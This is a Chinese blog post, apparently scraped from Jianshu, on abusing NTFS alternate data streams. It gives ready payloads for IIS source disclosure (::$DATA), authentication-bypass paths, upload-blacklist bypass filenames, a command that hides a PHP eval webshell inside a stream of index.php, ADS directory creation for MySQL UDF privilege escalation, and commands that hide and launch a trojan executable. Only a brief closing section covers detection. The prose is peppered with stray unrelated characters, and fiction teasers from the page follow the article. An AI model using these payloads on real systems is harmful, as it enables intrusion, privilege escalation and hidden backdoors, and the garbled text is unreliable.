NTFS ADS的前世今生

是什么

NTFS交換數(shù)據(jù)流(alternate data streams簡稱ADS)是NTFS磁盤格式的一個特性咱筛。

  1. 一個完整的流的格式為:<filename>:<stream name>:<stream type>
  2. 主流即我們平時可以看見的可以存儲數(shù)據(jù)的文件她肯。而非主文件流寄宿于主文件流中颂跨,無法直接讀取盛撑。
  3. 修改宿主文件的內(nèi)容或流的內(nèi)容势决,不會對彼此造成影響侠仇。
  4. 流類型總是以$符號作為開始,NTFS文件系統(tǒng)中的文件至少包含一個主流乳乌,也就是data流($DATA),默認(rèn)流名為空市咆。
  5. ADS可以省略流名汉操,但不能省略流類型。
  6. NTFS文件系統(tǒng)中的文件夾沒有data流蒙兰,但可以指派data流磷瘤,文件夾的主流為directory流($INDEX_ALLOCATION),流名默認(rèn)為$I30

怎么用

CVE-1999-0278

訪問http://host/global.asa::$DATA搜变,影響IIS3/4版本

IIS在處理文件請求時會先判斷文件擴(kuò)展名是否在可執(zhí)行文件擴(kuò)展名列表中采缚,如果存在,則執(zhí)行并返回結(jié)果挠他,如果不存在扳抽,則直接返回文件內(nèi)容。
NTFS文件系統(tǒng)支持在文件中包含額外的數(shù)據(jù)流殖侵。$DATA是在NTFS文件系統(tǒng)中存儲數(shù)據(jù)流的屬性贸呢。
當(dāng)我們對一個在NTFS分區(qū)中的ASP文件發(fā)出包含$DATA請求,IIS會檢查最后一個“.”后面的擴(kuò)展名拢军,因為多了::$DATA楞陷,結(jié)果IIS不認(rèn)為這是一個ASP文件,而文件系統(tǒng)可以識別該請求茉唉,于是返回ASP的源代碼固蛾。

IIS目錄訪問權(quán)限繞過

IIS6.0+PHPIIS7+asp赌渣、IIS7.5+php的環(huán)境下魏铅,如果目錄是通過HTTP Basic來認(rèn)證,假設(shè)網(wǎng)站根目錄存在index.php文件坚芜,可通過構(gòu)造如下方式來繞過認(rèn)證直接訪問目錄下的文件览芳。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

上傳繞過黑名單

在測試中我們發(fā)現(xiàn)如果上傳的文件名字為:test.php::$DATA,會在服務(wù)器上生成一個test.php的文件鸿竖,其中內(nèi)容和所上傳文件內(nèi)容相同沧竟,并被解析。
假設(shè)我們需要上傳的文件內(nèi)容為:<?php phpinfo();?>下面是上傳是會出現(xiàn)的現(xiàn)象:

上傳的文件名 服務(wù)器表面現(xiàn)象 生成的文件內(nèi)容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夾
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

注意
對于windows環(huán)境的服務(wù)器缚忧,上傳test.php:.jpg類型的文件悟泵,當(dāng)文件傳到服務(wù)端時,windows會將該文件識別成ADS闪水,從而認(rèn)為其宿主文件名為1.asp而將.jpg識別為流名糕非。
通過notepad test.php:.jpg可以查看內(nèi)容,所以test.php內(nèi)容為空是正常的。
然后修改上傳的文件名為test.>>>或者test.<朽肥、test.<<<禁筏、test.>><再上傳,會重寫test.php衡招。原因是在PHP+IIS的環(huán)境下篱昔," 同義. >同義? <同義*

隱藏webshell

在服務(wù)器上echo一個數(shù)據(jù)流文件進(jìn)去,比如index.php是網(wǎng)頁正常文件始腾,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
這樣生成了一個不可見的shell hidden.jpg州刽,type dir del命令都不行。

利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句話浪箭。

mysql中的udf提權(quán)

如果數(shù)據(jù)庫用戶對數(shù)據(jù)庫mysql(注意指的是數(shù)據(jù)庫里的默認(rèn)庫mysql)具有insert和delete權(quán)限穗椅,就可以創(chuàng)建加載自定義函數(shù)。
而又因為mysql服務(wù)是以system權(quán)限運行在windows主機(jī)上山林,所以這個時候我們就可以通過自定義函數(shù)以system權(quán)限執(zhí)行命令了房待。

Mysql 5.0.67之前邢羔,DLL的導(dǎo)入目錄是C:\windows\system32
從MySQL 5.1開始驼抹,要求目錄必須是mysql目錄下的lib\plugin\目錄,而且mysql 5.1之后的常用安裝版本是默認(rèn)不存在lib\plugin目錄的拜鹤。

執(zhí)行sql語句show variables like '%plugin%';查看目錄位置框冀。
利用ADS依次創(chuàng)建lib、plugin目錄
select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
如果創(chuàng)建失敗的話敏簿,執(zhí)行show variables like '%secure%';看看secure_file_priv的值:

  • null表示限制mysqld不允許導(dǎo)入導(dǎo)出
  • 當(dāng)secure_file_priv的值為/tmp/明也,表示限制mysqld 的導(dǎo)入導(dǎo)出只能在/tmp/目錄下
  • 當(dāng)secure_file_priv的值為空,表示不對mysqld的導(dǎo)入導(dǎo)出做限制

隱藏exe文件

type muma.txt test.txt:muma.exe
在xp中可以用start test.txt:muma.exe執(zhí)行惯裕,但是win7以上這樣執(zhí)行會報錯温数。
win7及之后的系統(tǒng)的正確姿勢如下:
創(chuàng)建一個符號鏈接文件test.exe,鏈接到寄生的交換數(shù)據(jù)流可執(zhí)行文件test.txt:muma.exe上:mklink test.exe test.txt:muma.exe蜻势,然后執(zhí)行start test.exe /b即可
更新一個方法:
wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中撑刺,可執(zhí)行文件可以和文本文件一樣實現(xiàn)真正的隱藏,這可能也是當(dāng)時大多數(shù)殺毒軟件添加數(shù)據(jù)流病毒查殺功能的原因握玛;在Win7之后的系統(tǒng)中够傍,微軟可能出于安全考慮,不允許直接運行交換數(shù)據(jù)流可執(zhí)行文件挠铲,必須要創(chuàng)建符號鏈接冕屯,這個符號鏈接是可見的(當(dāng)然可以使用其他手段隱藏這個符號鏈接),并且這個符號鏈接創(chuàng)建出來后不能復(fù)制到其他地方拂苹,只能在創(chuàng)建的那個位置使用命令行方式調(diào)用(鼠標(biāo)雙擊會報錯)安聘。

怎么查

使用這兩款小工具配合進(jìn)行檢測和清除寄生的交換數(shù)據(jù)流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe檢測,streams.exe進(jìn)行清理。
還有一個叫做AlternateStreamView的工具也可以

參考
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=3442
https://www.qingsword.com/qing/812.html
https://www.i0day.com/733.html
《NTFS ADS帶來的WEB安全問題》浴韭,作者Pysolve
https://klionsec.github.io/2017/11/13/ntfs-streams/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末带迟,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子囱桨,更是在濱河造成了極大的恐慌仓犬,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,378評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件舍肠,死亡現(xiàn)場離奇詭異搀继,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)翠语,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評論 2 382
  • 文/潘曉璐 我一進(jìn)店門叽躯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人肌括,你說我怎么就攤上這事点骑。” “怎么了谍夭?”我有些...
    開封第一講書人閱讀 152,702評論 0 342
  • 文/不壞的土叔 我叫張陵黑滴,是天一觀的道長。 經(jīng)常有香客問我紧索,道長袁辈,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,259評論 1 279
  • 正文 為了忘掉前任珠漂,我火速辦了婚禮晚缩,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘媳危。我一直安慰自己荞彼,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,263評論 5 371
  • 文/花漫 我一把揭開白布待笑。 她就那樣靜靜地躺著鸣皂,像睡著了一般。 火紅的嫁衣襯著肌膚如雪滋觉。 梳的紋絲不亂的頭發(fā)上签夭,一...
    開封第一講書人閱讀 49,036評論 1 285
  • 那天,我揣著相機(jī)與錄音椎侠,去河邊找鬼第租。 笑死,一個胖子當(dāng)著我的面吹牛我纪,可吹牛的內(nèi)容都是我干的慎宾。 我是一名探鬼主播丐吓,決...
    沈念sama閱讀 38,349評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼趟据!你這毒婦竟也來了券犁?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,979評論 0 259
  • 序言:老撾萬榮一對情侶失蹤汹碱,失蹤者是張志新(化名)和其女友劉穎粘衬,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體咳促,經(jīng)...
    沈念sama閱讀 43,469評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡稚新,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,938評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了跪腹。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片褂删。...
    茶點故事閱讀 38,059評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖冲茸,靈堂內(nèi)的尸體忽然破棺而出屯阀,到底是詐尸還是另有隱情,我是刑警寧澤轴术,帶...
    沈念sama閱讀 33,703評論 4 323
  • 正文 年R本政府宣布难衰,位于F島的核電站,受9級特大地震影響膳音,放射性物質(zhì)發(fā)生泄漏召衔。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,257評論 3 307
  • 文/蒙蒙 一祭陷、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧趣席,春花似錦兵志、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至霉涨,卻和暖如春按价,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背笙瑟。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工楼镐, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人往枷。 一個月前我還...
    沈念sama閱讀 45,501評論 2 354
  • 正文 我出身青樓框产,卻偏偏與公主長得像凄杯,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子秉宿,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,792評論 2 345

推薦閱讀更多精彩內(nèi)容